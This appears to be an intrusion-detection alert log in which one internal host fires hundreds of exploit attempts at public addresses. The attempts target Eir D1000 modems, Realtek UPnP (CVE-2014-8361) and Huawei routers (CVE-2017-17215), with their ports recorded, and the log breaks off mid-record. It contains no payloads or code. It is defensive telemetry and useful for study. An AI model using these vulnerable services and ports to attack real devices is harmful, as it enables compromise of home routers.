Timestamp:	04/15/24-08:53:18.336252
SID:	2023548
Source Port:	44382
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.74.199.127

Timestamp:	04/15/24-08:52:31.919576
SID:	2023548
Source Port:	55418
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.232.250.104

Timestamp:	04/15/24-08:53:06.425230
SID:	2025576
Source Port:	56688
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.65.239.234

Timestamp:	04/15/24-08:53:43.075211
SID:	2023548
Source Port:	42006
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 35.141.47.175

Timestamp:	04/15/24-08:53:01.918999
SID:	2023548
Source Port:	59390
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 16.182.100.252

Timestamp:	04/15/24-08:53:07.448171
SID:	2025576
Source Port:	34100
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 20.73.249.22

Timestamp:	04/15/24-08:52:28.800324
SID:	2025576
Source Port:	51262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 34.43.218.102

Timestamp:	04/15/24-08:53:37.328843
SID:	2023548
Source Port:	33498
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 44.241.89.239

Timestamp:	04/15/24-08:52:32.968966
SID:	2025576
Source Port:	49162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 189.18.108.166

Timestamp:	04/15/24-08:53:39.210818
SID:	2023548
Source Port:	42642
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.53.2.212

Timestamp:	04/15/24-08:52:14.135134
SID:	2023548
Source Port:	32992
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 173.174.90.105

Timestamp:	04/15/24-08:52:19.855798
SID:	2023548
Source Port:	51500
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.204.2.236

Timestamp:	04/15/24-08:53:21.972672
SID:	2023548
Source Port:	49084
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.31.180.65

Timestamp:	04/15/24-08:53:04.913179
SID:	2023548
Source Port:	53006
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 79.97.251.1

Timestamp:	04/15/24-08:53:51.421262
SID:	2023548
Source Port:	51406
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 138.137.77.164

Timestamp:	04/15/24-08:53:09.782170
SID:	2025132
Source Port:	58054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.229.6.49

Timestamp:	04/15/24-08:53:17.924399
SID:	2023548
Source Port:	43686
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.87.177.239

Timestamp:	04/15/24-08:52:37.564197
SID:	2023548
Source Port:	37516
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 180.169.17.112

Timestamp:	04/15/24-08:53:27.837413
SID:	2023548
Source Port:	42322
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.163.218.37

Timestamp:	04/15/24-08:53:04.898579
SID:	2023548
Source Port:	35974
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 52.174.91.34

Timestamp:	04/15/24-08:53:41.203577
SID:	2025576
Source Port:	42880
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.124.236.206

Timestamp:	04/15/24-08:53:44.078680
SID:	2023548
Source Port:	60644
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 81.151.235.54

Timestamp:	04/15/24-08:52:13.620887
SID:	2023548
Source Port:	49690
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 199.208.108.1

Timestamp:	04/15/24-08:52:55.925460
SID:	2025132
Source Port:	37402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.76.151.114

Timestamp:	04/15/24-08:53:42.843649
SID:	2023548
Source Port:	56282
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 184.30.251.168

Timestamp:	04/15/24-08:53:00.142785
SID:	2025576
Source Port:	39838
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.26.224.230

Timestamp:	04/15/24-08:52:20.159617
SID:	2023548
Source Port:	37220
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 45.43.225.196

Timestamp:	04/15/24-08:53:10.681095
SID:	2025132
Source Port:	56248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 65.131.196.41

Timestamp:	04/15/24-08:52:28.301983
SID:	2023548
Source Port:	51616
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 108.190.104.113

Timestamp:	04/15/24-08:52:34.757263
SID:	2023548
Source Port:	33084
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 199.204.203.226

Timestamp:	04/15/24-08:53:58.209517
SID:	2025576
Source Port:	59648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 154.214.115.248

Timestamp:	04/15/24-08:52:46.201656
SID:	2025132
Source Port:	45354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 175.194.152.91

Timestamp:	04/15/24-08:52:52.576453
SID:	2025576
Source Port:	59430
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.45.162.209

Timestamp:	04/15/24-08:53:05.111474
SID:	2023548
Source Port:	57102
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 213.5.110.7

Timestamp:	04/15/24-08:52:45.671265
SID:	2023548
Source Port:	44934
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.205.159.241

Timestamp:	04/15/24-08:52:39.644577
SID:	2025576
Source Port:	51180
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 220.132.97.125

Timestamp:	04/15/24-08:53:35.050931
SID:	2025576
Source Port:	38294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.118.9.24

Timestamp:	04/15/24-08:53:49.937022
SID:	2023548
Source Port:	38372
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 144.86.38.180

Timestamp:	04/15/24-08:52:54.890450
SID:	2023548
Source Port:	41712
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.57.254.144

Timestamp:	04/15/24-08:52:28.654151
SID:	2023548
Source Port:	57590
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.196.52.152

Timestamp:	04/15/24-08:53:51.360400
SID:	2023548
Source Port:	50194
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 134.16.79.133

Timestamp:	04/15/24-08:52:30.973847
SID:	2023548
Source Port:	41766
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 144.86.38.180

Timestamp:	04/15/24-08:52:55.254226
SID:	2023548
Source Port:	41732
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 216.212.46.35

Timestamp:	04/15/24-08:53:08.710914
SID:	2023548
Source Port:	44786
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.170.154.250

Timestamp:	04/15/24-08:52:26.138770
SID:	2023548
Source Port:	48492
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.120.212.86

Timestamp:	04/15/24-08:53:21.444112
SID:	2023548
Source Port:	33532
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 172.65.157.181

Timestamp:	04/15/24-08:53:44.089295
SID:	2829579
Source Port:	44394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 218.108.130.74

Timestamp:	04/15/24-08:53:59.334097
SID:	2023548
Source Port:	37316
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 206.189.169.147

Timestamp:	04/15/24-08:52:15.605667
SID:	2025576
Source Port:	42222
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.33.150.165

Timestamp:	04/15/24-08:53:04.525702
SID:	2023548
Source Port:	48262
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 203.63.103.182

Timestamp:	04/15/24-08:52:57.100946
SID:	2023548
Source Port:	47572
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.188.199.118

Timestamp:	04/15/24-08:53:23.157648
SID:	2023548
Source Port:	46080
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.81.159.153

Timestamp:	04/15/24-08:53:13.860640
SID:	2023548
Source Port:	36244
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.167.226.105

Timestamp:	04/15/24-08:53:29.165529
SID:	2027339
Source Port:	55162
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.174.122.72

Timestamp:	04/15/24-08:53:43.933381
SID:	2023548
Source Port:	57544
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.177.99.207

Timestamp:	04/15/24-08:53:10.455008
SID:	2023548
Source Port:	52446
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 67.71.249.131

Timestamp:	04/15/24-08:53:30.172473
SID:	2025576
Source Port:	55028
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.164.11.248

Timestamp:	04/15/24-08:53:05.077179
SID:	2023548
Source Port:	43706
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.168.255.45

Timestamp:	04/15/24-08:53:18.367248
SID:	2023548
Source Port:	36466
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.85.247.218

Timestamp:	04/15/24-08:52:47.608176
SID:	2025576
Source Port:	45530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 94.123.187.221

Timestamp:	04/15/24-08:52:59.950910
SID:	2027339
Source Port:	36942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.62.67.218

Timestamp:	04/15/24-08:53:27.555946
SID:	2023548
Source Port:	33112
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.62.67.218

Timestamp:	04/15/24-08:53:27.839928
SID:	2023548
Source Port:	33132
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 32.211.114.13

Timestamp:	04/15/24-08:53:58.315510
SID:	2023548
Source Port:	43348
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.198.228.14

Timestamp:	04/15/24-08:52:13.219748
SID:	2023548
Source Port:	40228
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 210.128.101.201

Timestamp:	04/15/24-08:53:44.288455
SID:	2025132
Source Port:	42244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 148.101.85.20

Timestamp:	04/15/24-08:52:37.189009
SID:	2023548
Source Port:	42636
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.239.145.165

Timestamp:	04/15/24-08:53:42.004470
SID:	2025576
Source Port:	33238
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.191.199.13

Timestamp:	04/15/24-08:52:57.514751
SID:	2023548
Source Port:	56272
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 168.149.18.147

Timestamp:	04/15/24-08:52:50.784477
SID:	2023548
Source Port:	38618
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 112.84.130.47

Timestamp:	04/15/24-08:53:16.666457
SID:	2025576
Source Port:	56418
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.24.152

Timestamp:	04/15/24-08:52:56.119199
SID:	2835222
Source Port:	56826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 101.102.220.137

Timestamp:	04/15/24-08:52:56.006412
SID:	2831300
Source Port:	54272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 172.250.90.166

Timestamp:	04/15/24-08:53:18.670747
SID:	2023548
Source Port:	41204
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.167.75.217

Timestamp:	04/15/24-08:53:31.512030
SID:	2023548
Source Port:	54686
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.233.9.68

Timestamp:	04/15/24-08:52:13.905617
SID:	2023548
Source Port:	38288
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.244.210.18

Timestamp:	04/15/24-08:52:20.795451
SID:	2023548
Source Port:	52674
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 159.192.82.7

Timestamp:	04/15/24-08:52:26.802771
SID:	2023548
Source Port:	45220
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.157.112.139

Timestamp:	04/15/24-08:52:56.771699
SID:	2023548
Source Port:	52508
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.85.6.102

Timestamp:	04/15/24-08:53:56.063177
SID:	2023548
Source Port:	50792
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 154.39.104.190

Timestamp:	04/15/24-08:53:56.928421
SID:	2025576
Source Port:	38988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.63.202.219

Timestamp:	04/15/24-08:53:59.407204
SID:	2025576
Source Port:	52630
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 189.15.71.96

Timestamp:	04/15/24-08:53:57.145983
SID:	2023548
Source Port:	57436
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 192.250.255.34

Timestamp:	04/15/24-08:53:27.228992
SID:	2025576
Source Port:	56884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 46.61.109.54

Timestamp:	04/15/24-08:53:48.911606
SID:	2023548
Source Port:	56372
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 51.81.234.22

Timestamp:	04/15/24-08:52:23.504948
SID:	2025576
Source Port:	33422
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.79.31.242

Timestamp:	04/15/24-08:52:17.434342
SID:	2023548
Source Port:	46656
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.191.71.200

Timestamp:	04/15/24-08:52:57.648518
SID:	2023548
Source Port:	39398
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.167.43.27

Timestamp:	04/15/24-08:52:29.858633
SID:	2023548
Source Port:	60932
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 13.71.93.50

Timestamp:	04/15/24-08:53:00.178079
SID:	2025576
Source Port:	51328
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.166.15.70

Timestamp:	04/15/24-08:53:37.513366
SID:	2023548
Source Port:	55718
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 20.241.216.208

Timestamp:	04/15/24-08:53:02.987155
SID:	2025576
Source Port:	40218
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.194.183.233

Timestamp:	04/15/24-08:52:28.358166
SID:	2023548
Source Port:	45930
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.189.241.9

Timestamp:	04/15/24-08:53:05.305998
SID:	2023548
Source Port:	33696
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.167.226.105

Timestamp:	04/15/24-08:53:29.165529
SID:	2025132
Source Port:	55162
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.167.226.105

Timestamp:	04/15/24-08:53:32.422688
SID:	2027339
Source Port:	55176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 16.171.158.240

Timestamp:	04/15/24-08:53:28.886313
SID:	2025576
Source Port:	59490
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.140.1.5

Timestamp:	04/15/24-08:53:29.879372
SID:	2023548
Source Port:	35504
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.94.50.118

Timestamp:	04/15/24-08:52:22.690845
SID:	2023548
Source Port:	33942
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 133.114.90.23

Timestamp:	04/15/24-08:52:40.027084
SID:	2023548
Source Port:	60658
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.171.58.15

Timestamp:	04/15/24-08:53:46.572732
SID:	2023548
Source Port:	40646
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.3.112.32

Timestamp:	04/15/24-08:53:38.511084
SID:	2023548
Source Port:	47558
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 66.35.66.210

Timestamp:	04/15/24-08:53:58.236416
SID:	2025576
Source Port:	35876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 184.24.198.149

Timestamp:	04/15/24-08:53:49.973040
SID:	2025576
Source Port:	41076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.235.238.192

Timestamp:	04/15/24-08:52:12.942526
SID:	2023548
Source Port:	34822
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.183.250.44

Timestamp:	04/15/24-08:53:10.723900
SID:	2023548
Source Port:	55106
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 164.248.78.18

Timestamp:	04/15/24-08:52:15.747783
SID:	2831300
Source Port:	54266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 208.112.192.208

Timestamp:	04/15/24-08:52:27.603438
SID:	2027339
Source Port:	43614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.80.86.229

Timestamp:	04/15/24-08:52:59.056598
SID:	2023548
Source Port:	51584
